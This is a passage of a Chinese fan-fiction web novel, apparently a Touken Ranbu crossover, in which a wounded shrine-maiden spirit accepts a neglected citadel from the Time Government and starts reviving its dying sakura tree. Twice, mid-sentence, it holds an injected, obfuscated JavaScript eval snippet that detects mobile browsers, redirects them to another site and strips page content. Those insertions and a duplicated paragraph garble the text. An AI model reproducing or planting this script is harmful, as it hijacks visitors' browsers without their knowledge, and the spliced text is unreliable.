喉头立刻不受控制地涌上一股无法压抑的腥甜气息,让源朝曦忍不住发出一阵低沉的、压抑着的闷咳,额角瞬间渗出细密的冷汗。 源朝曦立刻停止所有徒劳的尝试,心中悚然,这次伤势的复杂与棘手程度似乎远超过她最初表面观察到的结果,问题不仅仅在于时空乱流本身对她身体造成的毁灭性打击,似乎还混杂了某种外来的、属性与她自身本源力量截然不同的能量? 那股力量带着十分明显的、意图良好的治愈意味,但其运作的方式与内在属性,却与源朝曦那古老而霸道的本源灵力格格不入,甚至产生了剧烈的排斥反应。 这种治疗非但没有起到应有的效果,反而可能像不适配的零件,加重了某些关键经脉的二次损伤,是救她回来的人在她昏迷期间试图治疗她吗?看来是好心办了坏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但令源朝曦自己也感到一丝意外的是在如此严重的内外伤势交织之下,她竟然还能勉强吊住一口气,未曾彻底消亡。 除了依靠源朝曦那身远超常人想象、深植于传说时代的坚韧根基在凭借本能强行维系着最后一线生机外,似乎还有另一股微弱、却持续不断、带着某种温暖特质的力量,正从极其遥远的、概念层面的地方,丝丝缕缕地、跨越了时空屏障汇聚而来。 那感觉就像是散落在无垠宇宙中的、细小而顽强的金色光点穿透了层层叠叠的时空壁垒与维度障碍,以一种缓慢而无比执着的姿态,悄然渗入源朝曦那几乎彻底枯竭、布满裂痕的丹田之内。 这股力量虽然微弱,却恰到好处地补充着那干涸河床中即将彻底消失的“细流”,勉强吊住了源朝曦最后一线近乎熄灭的生命之火,让她不至于立刻被黑暗吞噬。 是信仰之力啊,源朝曦在短暂的感知与思索后,得出了这个结论,心中不禁泛起一丝复杂的感慨。 那并非是针对“源朝曦”这个具体个体、有名有姓的存在的信仰,而是指向了更为古老、更为抽象的神话象征——即作为太阳化身、作为源氏守护神的“八咫乌”。[3] 在源朝曦漫长到近乎永恒的沉睡与无尽的时空漂泊之中,关于小乌的传说、关于八幡大菩萨使者的信仰并未在时间的长河中被完全湮灭殆尽。[4] 这些散落在不同历史片段、不同世界角落里的、模糊而坚韧的信念碎片,在源朝曦濒临彻底消亡的绝对绝境中似乎被某种她尚未完全理解的机制自发地激活、吸引、汇聚起来,阴差阳错地成为了她最后的、也是唯一一根意外的救命稻草。 又或者这股力量其实一直以某种形式存在着,只是源朝曦在过去从未在意,也从未主动去感知和汲取。 这可真是……莫大的讽刺啊,源朝曦闭合着双眼,感受着体内那微弱却又真实存在的、带着陌生暖意的能量流,心中五味杂陈。 生前作为源氏的巫女,为家族的荣辱与存续付出了包括生命在内的一切;死后她的意志不灭,附于刀剑之上,又阴差阳错地成为了神话传说的一部分,被后世无数陌生人在不同的时空背景下寄托以各种胜利、守护、武运的信念与祈愿。 无论生前还是死后,名为“源朝曦”或者其化身的存在似乎始终与“信仰”二字纠缠不清,剪不断,理还乱。 但无论是生前作为巫女侍奉神明、退治妖怪,还是死后化为付丧神被世人传说,源朝曦都从未真正在意过这些来自陌生时空、陌生人的、飘渺而遥远的信念。 它们于源朝曦而言,就如同掠过耳畔的微风或是远山的雾霭,看见了,听到了,却从未真正放在心上,也不必放在心上,她行走于自己的道路,依靠的是自身的力量与意志。 可谁能想到在她最危难、最接近彻底消亡、连自身力量都背弃她时,竟是这些她从未主动寻求过、甚至有些漠视的、看似虚无缥缈的信仰之力在关键时刻拉了她一把,成为延续她存在的最后一根纤细却坚韧的蛛丝。 这算不算是一种因果?还是说这只是绝望中偶然抓到的稻草? 但源朝曦的理智清晰地告诉她信仰之力终究只是外在的、非根源性的辅助手段,如同无根之水、水上浮萍,可以暂时缓解干渴,维持住一线生机,却无法替代她自身本体结构的完整与稳固。 它无法修复丹田核心那遍布的、致命的裂痕,无法疏通被异种治愈灵力堵塞的、如同血栓般的经脉,更无法从根本上扭转她濒临崩溃的现状,让源朝曦重新获得力量。 它只是吊住了源朝曦的命,却没有给出活路,而且依赖这种外来的、不确定的信念力量,本身也充满未知的风险。 因此在厘清了体内的大致状况后,一个更加尖锐、更加致命、让源朝曦瞬间如坠冰窟的问题,如同黑暗中浮起的冰冷锋刃,清晰地、无法回避地浮现在她的心头——她的本体刀,那柄被称为小乌、承载了她绝大部分神魂本源与核心力量、与她性命交修、是她存在根基的双刃直剑此刻并不在她身边![5] 源朝曦感受不到它确切的位置,只有一丝微弱到几乎可以忽略的、概念上的联系,表明它尚且存在并未被毁灭。 6. 第六章 病房内的寂静被一阵轻柔的电子音打破,房门悄无声息地滑开,源朝曦立刻收敛起所有外露的情绪,连呼吸都调整得更为清缓微弱,未有那双灰蓝色眼眸深处的警惕如同幽暗的火焰,在寂静中无声燃烧。 宵雾早已缩回源朝曦的腕间,就像她还没有醒来时那样伪装成一件普通的黑色饰物,但紧绷的触感想源朝曦清晰的传递出一个信息:它早已蓄势待发,准备好随时暴起发动攻击,为她抵挡可能的攻击。。 进来的人并非是源朝曦最开始预想的审神者白露或者是医疗中心的工作人员,而是两位穿着时政标准制式服装的工作人员。 走在前面的是一位面容和煦、看起来约莫三十岁上下的男性,他手中拿着一个记录板,脸上带着程式化的、令人如沐春风的微笑。 跟在他身后的是一位表情更为严肃、眼神锐利的女性,她手中没有拿任何东西,但周身散发着干练的气息,显然观察力更为敏锐。 “啊,您醒了!这可真是太好了!”那位男性工作人员见到源朝曦睁着眼睛,立刻用充满慰藉的语气说道,仿佛她的苏醒是什么了不得的喜讯。 随即,他像是才想起自我介绍,略带歉意地补充道:“我是时政医疗中心灵力管理与恢复部门成员,代号‘青叶’。这位是我的同事,审神者招募与管理局的‘青竹’。你现在感觉怎么样?有没有哪里特别不舒服?” 源朝曦没有立刻回答他的问题,只是用那双因虚弱而带有朦胧水汽,却依旧锐利的灰蓝色眼眸静静地看着他,宵雾则悄然她的手腕盘踞在枕边,冰冷的竖瞳锁定在来人身上,发出细微的“嘶嘶”声,透着毫不掩饰的警告。 这阵沉默让青叶脸上的笑容略微一僵,但很快就调整过来,语气依旧温和:“看来您还需要些时间恢复,没关系,我们可以慢慢来。” 说着他走到床边,查看了一下仪器数据,“您目前所在的是时之政府下属的医疗中心,将您带回的审神者白露大人已大致上报了情况,请您放心,在这里您是绝对安全的。” 安全?源朝曦心底划过一丝冰冷的嘲讽,在一个完全陌生、力量体系迥异、且自己毫无反抗能力的地方谈安全,未免太过天真,漫长的生命经验早已教会她一件事,那就是最大的危险往往隐藏在看似最安全的表象之下。 同行的青竹对宵雾的敌意似乎不以为意,或许是她的身份使然,早已经习惯了与各种非人的存在接触。 青竹在床尾附近的安全距离站定,目光落在源朝曦那张苍白如纸、却依旧难掩绝俗风姿的脸上,眼底极快地闪过一丝常人不易察觉的惊叹与评估。 青竹能清晰地感觉到即便此刻这位名为“凤黯”的女性重伤濒危,其体内残存的灵力底蕴依旧深不可测——那是一种古老而纯粹的力量,与现今常见的审神者灵力体系截然不同,也迥异于其他非人种族的审神者,而这种未知而强大的潜力正是审神者招募与管理局极度关注的。 “首先,我谨代表时之政府对您遭遇的意外表示关切。”青竹无视了略显凝滞的气氛,以标准的工作口吻开口。 “根据发现并护送您前来救治的审神者白露及其刀剑男士的报告,您是在抵抗检非违使的过程中伤势加重,对于您在与历史修正主义者及其衍生威胁的战斗中做出的贡献以及未来可能做出的贡献,我们表示诚挚的感谢。” 源朝曦继续保持沉默,她在节约每一分力气,同时大脑飞速运转,从这两位时政人员无意间透露的信息中抽丝剥茧,分析着当下的处境。 感谢?贡献?她心中冷笑,那不过是绝境下的自保罢了,若非检非违使突然出现,她绝不会与那陌生的审神者产生任何交集。 而从青竹的言辞、姿态,尤其是她所属的部门——“审神者招募与管理局”这个名字本身,就已经清晰地昭示了时之政府对她所怀抱的明确意图:招揽。 见源朝曦没有接话的意思,青竹也不感到尴尬,继续保持微笑向她介绍:“请允许我简要介绍一下时之政府,我们是一个跨时空组织,成立的宗旨是为了维护人类历史的正确流向,对抗企图篡改历史的历史修正主义者。” “我们的核心作战力量,是‘审神者’与‘刀剑男士’。‘审神者’指的是拥有特殊灵力资质的人,他们能够感知并唤醒沉睡之物内心深处的思念,引导其力量显现为具体的形态;而被选中的‘沉睡之物’正是那些历经漫长岁月、承载着无数意念与传奇的刀剑之中所诞生的付丧神——也就是‘刀剑男士’。” “审神者” 这个称谓让源朝曦心中一动,在她所知晓的日本古代神话与神道体系之中,“审神者”原本指的是那些能够审辨神意、传达神谕的巫女或神官,是连接人与神之间的桥梁。 可眼下从青竹口中说出的“审神者”,其职能似乎发生了根本性的偏移——变成了“唤醒沉睡之物内心的思念”?这种概念上的错位与重新定义,让源朝曦本能地感到一种深层的疑虑与不适。 这其中的差异,恐怕绝非字面意义那么简单,但源朝曦依旧将这份思忖完美地隐藏于心底,脸上未泄分毫。 青竹话语微顿,细致观察着源朝曦的反应,但对方依然如同一潭深水般波澜不惊,只好继续介绍:“审神者与刀剑男士们居住和生活的基地,我们称之为‘本丸’。” “那是独立于正常时空轴之外的半位面,隐匿于时空乱流之中,那里环境优美,灵力充沛,既是审神者休养生息的场所,也是他们与刀剑男士们培养羁绊、共同守护历史的家园。” 青竹语气平稳,如同背诵一份标准的介绍手册,“刀剑男士们都是历史上赫赫有名的名刀化身,不仅实力强大,而且对审神者忠诚不二,是非常可靠的伙伴。” 家园?源朝曦眼底深处掠过一丝极淡的嘲讽。 对于源朝曦而言,家园是千年前那个交织着阴谋与荣光的平安京,是源氏大宅中与兄长赖光并肩而立、共担风雨的岁月。 是在之后漫长的时光里,源朝曦以付丧神之身游荡于诸多位面时的每一处短暂的驻足之地,与不同的人结下或深或浅的缘分,最终成为她无尽时间长河中的临时归所。 更不用说与那位被囚于狭间却意外合拍的“邪神”八岐大蛇之间 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在青叶的描述中,本丸如同世外桃源,刀剑男士们则是一群忠诚、强大、且能提供情绪价值的完美存在,成为审神者不仅意味着获得强大的力量和后盾,更意味着一份守护历史的崇高使命。 但这些在常人听来充满吸引力的话语落在源朝曦耳中,却完全变了味道。 独立时空据点? —— 意味着与世隔绝,是另一种形式的囚笼。 与刀剑男士共同生活? —— 意味着需要经营复杂的人际关系,耗费心神,而她早已厌倦维系表面的和睦。 忠诚不二的伙伴? —— 她唯一的伙伴只有宵雾,过多的“忠诚”在她看来更可能是负担与牵绊。 更何况宵雾并非寻常使魔或武器,它是机缘巧合下源朝曦与八岐大蛇力量交织共同创造的独特存在,不仅能在日常生活中助她警戒四周、处理琐事,更拥有远程感应八岐大蛇状况的微妙能力,甚至可以在必要时容纳她溢出的庞大力量,是其存在不可或缺的一部分,绝非任何其他“伙伴”可以替代。 守护历史的崇高使命? —— 这更是无稽之谈,历史洪流滚滚向前,自有其轨迹,强行维护所谓的“正确”,在她看来本身就是一种傲慢的干涉。 她自己的经历就是历史被无数双手拨弄的证明,从平安京的源氏巫女到成为神话传说中的“小乌”,再到应浅井茶茶之愿介入战国末期的纷争,搅动风云,甚至亲手促成大阪城的烈焰……哪一桩哪一件,又真正符合了“历史应有的模样”? 更何况她曾流落至一个被称为“现代”的时空,在那里救下名为赤司纱织的女子,也因此窥见后世所记载的、“与她亲身经历截然不同”的历史。 正是那段经历让她明白,所谓唯一正确的历史本不存在,世界如同分叉的枝桠,延伸出无数可能的轨迹,她早已看透“既定命运”的虚妄与可笑,为何这时之政府看似拥有跨越时空的能力,思维却仍旧如此僵化,无法明白这个显而易见的道理呢?[1] 果然招揽还是来了,源朝曦心中毫无波澜,甚至有种“果然如此”的尘埃落定感,她艰难地动动嘴唇,声音依旧沙哑却带着不容置疑的坚定:“我拒绝。” 7. 第七章 青竹脸上的笑容不变,似乎对当前的场景早有预料:“能告诉我理由吗?成为一名审神者,拥有自己的本丸和忠诚的刀剑男士不仅能够获得强大的力量和保护,也是无数灵力者梦寐以求的荣耀……” “我要回家。”源朝曦打断了青竹接下来的发言,言简意赅的给出自己的答案,“我对你们的战争没有任何兴趣。” “回家?”青竹敏锐的捕捉到了关键词,立刻追问,“请问您的家乡是哪个时代?您是否知道具体坐标?如果时空坐标明确且不涉及敏感的历史节点,时政或许提供必要的协助送您回去。” 面对青竹的问题,源朝曦再次沉默了。 源朝曦要如何描述呢?那个有藤原月彦存在的世界并非是她最初的归属,只是她漂流过程的的一个落脚点。 至于源朝曦真正的来处是更早的、已然泯灭在时间长河中的平安京?还是她与八岐大蛇共处的那个概念性的狭间?亦或是她为了完成浅井茶茶的愿望而掀起风云、最终目睹丰臣家覆灭的战国乱世? 但那些空间坐标早已经在源朝曦漫长的沉睡和被迫的漂流中变得模糊不清,甚至那些时空可能早已闭合,更关键的是,她能够清晰地感觉到那个有着藤原月彦的世界似乎被某种无形的屏障隔绝了,并非她能随意定位并穿梭回去的。 于是源朝曦的脸上极快地闪过一抹难以捕捉的迷茫,像是一台精密仪器在处理无法解析的数据时出现的短暂卡顿,而她的这一处细微的破绽却被一直紧密观察她的青竹敏锐地捕捉到了。 看来她并不知道具体的坐标,当然也有可能是因为她回去的路已经被阻断了,青竹在心中迅速做出判断,这对于时政来说是一个好消息——一个无家可归但却拥有强大力量的流浪者是他们招揽的最佳目标。 源朝曦垂下眼睫,恰到好处地掩去眸底流转的算计,她的沉默和那瞬间的迷茫一半是真,一般是有意为之下的可以引导,她确实无法准确描述归途,但这何尝不是一种以退为进? 源朝曦现在需要摸清楚这个组织的底细,需要资源来帮助她修复这具身体,更需要一个能让她暂时栖身并有机会帮她寻找归途的跳板,现在看来时之政府就是一个很好的选择。 如果一个人直接表现出强烈的目的性和能力的话,只会引来更严密的监控和更苛刻的条件,而示弱有时候反而是最好的伪装。 “看来您的回家之路并不顺利。”青竹的语气中带上了一丝恰到好处的同情,“既然如此,为何不考虑暂时留在我们时之政府?至少这里能为您提供安全的庇护和稳定的环境,让您有机会慢慢恢复力量后从长计议。” 源朝曦重新抬眼看向青竹:“成为审神者的束缚太多,我本人对于领导刀剑、参与战斗这两件事并没有什么兴趣。” 青竹双手自然垂在身侧,指尖不着痕迹地轻点一下裤缝,这是她思考时的习惯性动作,她的脸上依旧保持着那种程序化的、令人如沐春风的微笑,心中却已经迅速对源朝曦重新进行了评估——追求绝对自主、厌恶责任捆绑、对于建立深层羁绊抱有近乎本能的排斥。 这并不罕见,有能力的人总会有各种各样的小问题,而时之政府恰好对这类人才有一套成熟的弹性方案。 “我理解您的顾虑。”青竹的声音温和而又带着一种专业的引导性,“并非所有具有资质的灵力者都愿意或者说适合承担前线作战与团队管理的职责,因此时政为审神者们提供了不同的发展路径。” “大致可以分为侧重于后方的‘文系’与负责前线作战的‘武系’两种,顾名思义,武系审神者需要带领刀剑男士们出征维护历史,与时间溯行军正面交锋,这需要强烈的使命感、领导力和战斗意志。” 青竹话锋一转,同时细致的观察着源朝曦的反应,“而文系审神者更侧重于后方支援,比如说运用灵力进行本丸结界维护、参与万屋的商业网络研发、负责刀剑的修复与本体研究等。” “这类职务的硬性束缚相对较小,更像是一份需要特殊资质的专业技术岗位。” 源朝曦的目光平静无波,并没有因为青竹口中文系审神者的描述而产生丝毫涟漪,见此,青竹心下了然,决定抛出那个可能更契合源朝曦现状的选项。 “此外,关于本丸我们也有新建成与二手之分。”青竹的措辞带有一丝微妙的意味,表明这非其他人的第一选择。 “新本丸一切都是您本人从零开始建设,设施崭新,刀剑男士亦由您亲自唤醒,羁绊从零开始缔结,虽然初期建设需投入更多心力,但胜在纯粹、干净,完全属于您个人,如同在一张白纸上作画。” 青竹刻意停顿一下,留下短暂空白,接着才继续用略带劝诫的口吻继续说:“而二手本丸则是前任审神者因任期届满或者其他非正常原因离职后留下的遗产。” “我必须非常坦诚的提醒您,选择二手本丸意味着您可能需要面对诸多的‘历史遗留问题’。”青竹巧妙地将“麻烦”换成了更加中性的词汇,但话语中的意思却是满满的不推荐。 “那里的刀剑男士们并非白纸,他们拥有与前任主君建立的回忆与习惯,内部关系盘根错节,新主前往后往往需要耗费大量心力去处理他们的复杂情绪,甚至可能遭遇无形的隔阂。” 青竹刻意停顿一下,留下短暂空白,接着才继续用略带劝诫的口吻继续说:“而二手本丸则是前任审神者因任期届满或者其他非正常原因离职后留下的遗产。” “我必须非常坦诚的提醒您,选择二手本丸意味着您可能需要面对诸多的‘历史遗留问题’。”青竹巧妙地将“麻烦”换成了更加中性的词汇,但话语中的意思却是满满的不推荐。 “那里的刀剑男士们并非白纸,他们拥有与前任主君建立的回忆与习惯,内部关系盘根错节,新主前往后往往需要耗费大量心力去处理他们的复杂情绪,甚至可能遭遇无形的隔阂。” 青竹身体前倾,声音压低,给人一种推心置腹的感觉:“而且由于前任审神者离职的方式各异——可能是和平离职,也可能是战损甚至是更加不愉快的逃亡——本丸环境难免残留一些消极氛围,刀剑们也会存在着不同程度的心理创伤。” “总而言之,那通常是一个需要巨大耐心去收拾的烂摊子,对于向您这种追求清静、不欲招惹过多纠缠的审神者而言绝非上佳之选。” 说完,青竹双手看似随意的交叠在膝上,耐心地等待着预期中的回应,见源朝曦依旧保持沉默,似乎对现有的选项都不算很满意,她便立刻在凭空出现的电子板上操作了几下,调出一个列表。 “我大概明白您的想法了,或许我们可以先看看这些非标准选项。”说着,青竹将屏幕转向源朝曦,上面罗列着数十个本丸的编号和简略状态,譬如说长期闲置、刀剑情绪不稳等。 “这些本丸的优点是现成的,刀剑男士也是现成的,可以省去审神者初始召唤和建设的繁琐。”青竹开始按照培训手册上面的要求重点强调二手本丸的“问题”,试图降低期望值。 “同样的缺点也很明显,刀剑们可能对前任主君抱有深切怀念,难以接纳新主,管理需极大耐心和技巧。本丸设施往往缺乏维护,需投入资源修缮。” “最重要的是,这些本丸的刀剑长时间无稳定审神者引导,心态可能会比较复杂,甚至形成了自成体系的生存模式,对新主人的到来未必欢迎,可能需要您花费大量精力去整合。” 青竹一边说一边观察源朝曦的面部表情,期望看到对方因为这些“麻烦”而退缩,但很显然,她没有得到她想要的结果。 源朝曦的目光扫过列表,一个个分析上面显示出来的二手本丸优缺点,青竹在她面前一直重复的所谓二手本丸缺点在她听来反而句句都是优点。 刀剑怀念前主、心态复杂、难以管理?这意味着他们不会将过多注意力放在她这个新主身上,正合她意。 设施陈旧?源朝曦对此更是不以为意,她既领略过平安京的极致风雅与奢华,也曾在战国时代的 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青竹查看了一下详细的档案:“T57编号的本丸前任审神者在现世因意外去世,时政当时承诺会为留下来的刀剑们寻找新的主君,但您知道的,愿意接受二手本丸的人本来就少,更何况T57本丸后来被临时用作刀剑中转站,大量刀剑的流动更加减小了它被选中的概率。” “现在本丸里剩下的是一些很长时间没有被其他本丸挑走或者是自愿留下的刀剑,包括10振短刀、6振打刀、3振胁差、2振大太刀、2振太刀,还有一振静形薙刀,一直在靠在时政的任务中心完成任务换取灵力球维持日常的生活。” “中转站、大量流动、长期无主。”源朝曦低声重复着这几个词,眼底深处闪过一丝满意,这意味着这个本丸的过往足够复杂,人际关系足够疏离,“听起来确实是个麻烦的地方。” 青竹以为她会因为这些原因选择建立一个新的本丸,“是的,所以您如果觉得不合适,我们正好可以选择……” “不,就它了。”源朝曦打断青竹的发言,灰蓝色的眼眸中是一片深不见底的平静,“T57本丸,我接受。” 青竹愣住了,随即心中涌起一阵成功的喜悦,虽然对方没有按照他们的想法建立一个新的本丸,反而选择接受了一个公认的烂摊子,但至少她终究是答应成为审神者了! 青竹立刻露出职业化的笑容:“太好了!凤黯小姐,您做出了独特的选择,我这就帮您办理入职瘦削,请您好好休息,身体状况稳定后便可前往T57本丸。” 源朝曦轻轻合上眼,表示谈话结合,而青竹和青叶两人退出病房,一人去准备契约文件,一人去调整接下来的治疗方案。 房门关上后,源朝曦的嘴角勾起一抹极淡的弧度,一个被时政和刀剑们自己都几乎放弃的、长期处于无政府状态的中转站本丸,简直没有比这更完美的掩护了。 那里的刀剑,想必早已习惯了自力更生,对她这个空降的、看似虚弱不堪的新主,大概率是漠然甚至抵触的,而这正合她意。 源朝曦不需要他们的忠诚,只需要他们的忽视,时政以为用这样一个本丸就能拴住她,却不知这恰恰是她精心挑选的、最能让她隐匿和恢复的巢穴。 接下来的几天,源朝曦在时政医疗中心接受了最基础的稳定治疗,对于她体内那种属性冲突,医护人员也不敢再贸然深入,这让她乐得清静,全力引导着那微弱的信仰之力,小心翼翼地滋养着近乎破碎的丹田核心。 期间白露来探望过一次,表达祝愿并介绍了更多时政情况,源朝曦静静听着并未多言,原因也很简单,重伤尚未恢复。 终于在她的身体达到可移动的最低标准后,源朝曦签署了审神者契约——核心条款是不得背叛时政、不得主动篡改历史以及对本丸刀剑负有基本管理责任,对她而言条款有很大的活动空间,但她还是用凤黯这个代号签下了契约,让身边想要提醒她的人哑口无言。 随后在时政工作人员的引导下,源朝曦乘坐转移装置到达了T57本丸。 8. 第八章 传送带来的轻微眩晕感褪去,源朝曦踏上了T57本丸的土地,映入眼帘的是一片灰蒙蒙的景象,十分符合常人口中“被遗忘角落”定义的景象。 首先感受到的是空气中稀薄到近乎枯竭的灵力,如同久旱龟裂的土地,难以维系生机,目光所及处那些本应依靠灵力而茂密生长的植物早已变得萎靡不振,处于正在生死边缘挣扎的境界。 天空呈现出暗淡的灰白色,仿佛蒙着一层永远都擦拭不下去的灰尘,并非因为天气是阴天,而是因为此地灵力不足导致半位面稳定性下降,源朝曦甚至能感觉到空间壁垒的脆弱,若再持续下去,恐怕不久后就会有时间溯行军发现这个漏洞。 源朝曦目前所在的地方似乎是刀剑男士们日常通过转换器回归本丸的地点,脚下是坑洼不平的石板路,几丛生命顽强的枯黄色杂草在缝隙中顽强的钻出来。 不远处那几座样式古朴但明显缺乏维护的建筑群看起来也有些年头了,木质结构显露出风吹日晒的痕迹,虽然不算破败,但也绝谈不上精致,处处透着一股“将就”和“凑合”的气息。 “这里就是T57本丸了,审神者大人。” 一个声音自源朝曦脚边响起,打破了周遭的死寂,她微微垂眸便看见一只狐之助式神安静的蹲坐在一旁。 这只狐之助皮毛光滑,十分符合时政制式的标准,它的一双眼睛看似灵动,但深处是某种更为刻板的东西在运作——那是预设的监视程序。[1] 源朝曦心下了然,时政果然不会放心她这个来历不明有主动选择接受一个“麻烦”本丸的审神者,更何况按照她从情报中推测出来的情况,这个世界的时政短则两三年,长则十几年后就会和时间溯行军爆发一场大战,在这种背景下,时政更加不会放她这个强有力的战力走了。 心思流转间,源朝曦面上不露分毫,只是轻轻“嗯”了一声,声音依旧带着伤后的虚弱沙哑,但目光已如同最精密的仪器般开始扫描周围环境。 很好,这里比源朝曦最开始预想的还要不起眼,正是一个绝佳的藏身之所,袖中的宵雾想他传递来周围环境更加细致的信息:空间壁垒脆弱、灵力浓度过低以及一个她并没察觉或者说没有想到会有那么多的那些隐藏在暗处的视线。 似乎早就已经收到本丸即将有新任审神者到来的消息,在主屋斑驳的廊檐下,在几近枯死的树木后方,一道道身影静默伫立。 他们并未靠近,只是隔着一段距离沉默的观察者这位突如其来的新主,身上穿的衣物大多十分陈旧,颜色暗淡就如同这个本丸本身的色调,那是长期缺乏充沛灵力滋养的必然结果。 他们的目光复杂难辨,有长年累月等待后沉淀下的审视与戒备,有近乎麻木的观望,或许就连他们自己都未曾察觉,在那目光的最深处是否还残存着一丝微弱的、几乎快熄灭的微光。 这些刀剑男士们正是青竹口中那些“长期未被挑走或是自愿留下”的存在,靠着完成时政发布的任务来换取劣质灵力球,用于勉强维持本丸最低限度的运转。 短暂的寂静被脚步声打破,一位身披陈旧白色斗篷、金色发丝从兜帽下露出来的青年走上前来,他抬起头后便露出那张俊秀的面庞,只是碧色的眼眸中带着挥之不去的阴郁和疲惫。 “我是这个本丸的初始刀山姥切国广,代表本丸现有的刀剑前来迎接审神者大人。”山姥切国广的声音平稳却缺乏温度,又顿了顿,似乎在斟酌词句,“如您所见,本丸的情况并不理想,如果您现在想改变主意还来得及。” 山姥切国广的话说得十分直白,甚至带着点儿劝退的意味,但源朝曦却从中听出了一丝近乎自暴自弃的坦诚,仿佛他们这群刃早已习惯了被审视、被权衡乃至最终被放弃。 山姥切国广身后的刀剑们依旧沉默,像是一尊尊凝固的雕像,唯有那些或锐利、或躲闪、或空洞的目光,聚焦在源朝曦这个突如其来的“变数”身上。 源朝曦的目光平静地扫过山姥切国广,掠过他身后那些隐藏在阴影与角落里的身影,最后再次落回到这位初始刀身上。 源朝曦并未因为山姥切国广这直白的“劝退”而动怒,反而她那双灰蓝色眼眸深处闪过一丝极淡的了然,他们的这种态度恰恰印证了她的选择是正确的。 “我既然选择了这里,就不会轻易改变我的主意。”源朝曦的声音依旧沙哑微弱但也带着一股不容置疑的味道,“现在带我去本丸的核心以及我的住所。” 山姥切国广碧色的眼眸中似乎有什么情绪极快的掠过,但又迅速被阴郁覆盖,他微微颔首:“明白了,审神者大人,请随我来。” 山姥切国广沉默的转身,示意源朝曦跟上,不过他的步伐并不快,似乎是在有意迁就这位看起来一阵风就能吹倒的新任审神者。 宵雾依旧盘踞在源朝曦腕间,冰冷的竖瞳警惕地扫视着四周,将那些隐藏在暗处的视线一一捕捉、分析,再通过契约无声的将信息传递给源朝曦。 廊檐下、树后、窗棂缝隙间的刀剑男士们并未立刻围拢上来,只是默默地注视着他们穿过荒芜的庭院,走向本丸深处。 狐之助立刻迈着小短腿跟上,用甜腻的嗓音向源朝曦介绍:“审神者大人,本丸的核心是位于后山的万叶樱,而您的居所是天守阁,就在前面那片建筑的最高处。” “时之政府为您配备的初始资源已经送达至天守阁,包括提前为您下发的本月工资——甲州金;各类木炭、玉钢、冷却材、砥石以及依赖札,还有一份可供您选择的刀剑名单……” 一行人穿过荒芜的庭院走向本丸的后山,越是靠近后山,灵力的匮乏感就越是明显,沿途能看到一些开垦过但已经荒废的田垄还有一些显然闲置许久的马厩、工坊等设施。 最终源朝曦等人来到后山一处相对开阔的平台,一颗巨大却毫无生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751204|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机的樱花树就这样伫立在中央,树干干枯,枝条光秃,正是本丸的核心——万叶樱。 此时的万叶樱与其说是本丸的核心,不如说是一棵即将彻底化为朽木的枯树,无声的诉说着本丸长久以来的困境。 “就是这里了。”山姥切国广拉拉头上的兜帽,声音中带着一丝沉重,“自从我的前主在现世因为意外去世后,万叶樱就逐渐变成了这个样子,我们尝试过用完成任务换来的灵力球来滋养它,但杯水车薪,所以我们只能先选择用灵力球维持我们自身的日常生活。” 山姥切国广的语气平静却带着一股长年累月积攒下来的无力感,他再次拉了下兜帽,似乎想将自己与这枯败的景象一同隐藏起来。 源朝曦沉默的注视着眼前这棵巨大的枯树,干裂的树皮、毫无生机的枝桠扭曲着伸向灰蒙蒙的天空,它是这个半位面心脏衰竭最直接的证明。 狐之助适时地开口,语气中带着程序化的惋惜:“唉,真是可惜呢,万叶樱的枯萎意味着本丸灵力持续衰减,不仅环境会持续恶化,刀剑男士们的力量也会受到限制甚至难以进行高强度的出阵。” “审神者大人,现在看来激活并滋养万叶樱是您上任后的首要职责哦。” 源朝曦并没有理会狐之助话语中隐含的催促与施压,她缓缓上前几步,苍白纤细的手轻轻按在粗糙冰冷的树干上。 源朝曦能够清楚的感知到那些暗处的目光变得更加专注了,刀剑们都在看着,看着这位新主的第一步动作,这将决定他们未来很长一段时间的境遇——是继续在泥泞中挣扎还是在获得喘息之机后奔向光明的未来。 源朝曦阖上双眼,开始内视自身,丹田处的核心依旧布满裂痕,但这几日来通过引导那一丝微弱的信仰之力如同用最纤细的金线修补物品那样,勉强维系着它的形状不至于彻底崩碎。 源朝曦小心翼翼的调动起近日从时政医疗中心提供的营养剂、灵力和环境中缓慢汲取、积攒下来的一小部分灵力,控制着这股灵力导向自己按在树干上的手掌。 这些灵力对于源朝曦而言,用来修复自己简直就是杯水车薪,但如果用在这棵万叶樱和刀剑男士们身上或许是一剂强心剂,没准儿还绰绰有余。 起初并无什么异象,躲在暗处的刀剑中有些已经流露出失望或者是早有预料的神色,但很快,以源朝曦的掌心为中心,一丝暗金色的流光如同拥有生命的藤蔓悄然渗入万叶樱干枯的树皮。 那暗金色的光芒并不耀眼,反而带着一种虚无与沉寂的特质,仿佛源自万物终结的深渊,但就在这片深邃的暗金色中又奇异地交融着一种近乎温柔的包容感,如同夜幕降临前最后的余晖。 如果有人或物对灵力足够敏感,便能察觉到那璀璨的光芒深处实则暗流涌动,一丝阴冷如影随形,仿佛来自深渊的蛇信;其间更囚禁着一股躁动的火焰,它渴望肆意燃烧,却在桎梏中无声嘶吼。 9. 第九章 山姥切国广拉低了兜帽,似乎不想亲眼见证又一次的“无力回天”,但就在某些视线即将彻底失望选择离开之际,异变陡生。 那暗金色的流光不再仅仅局限于源朝曦的掌心下,而是如同拥有生命的脉络般自接触点开始沿着万叶樱竹竿上最深刻的裂痕迅速蔓延、分支,眨眼间便勾勒出一幅覆盖了部分树干、闪烁着微弱暗金光芒的奇异图纹。 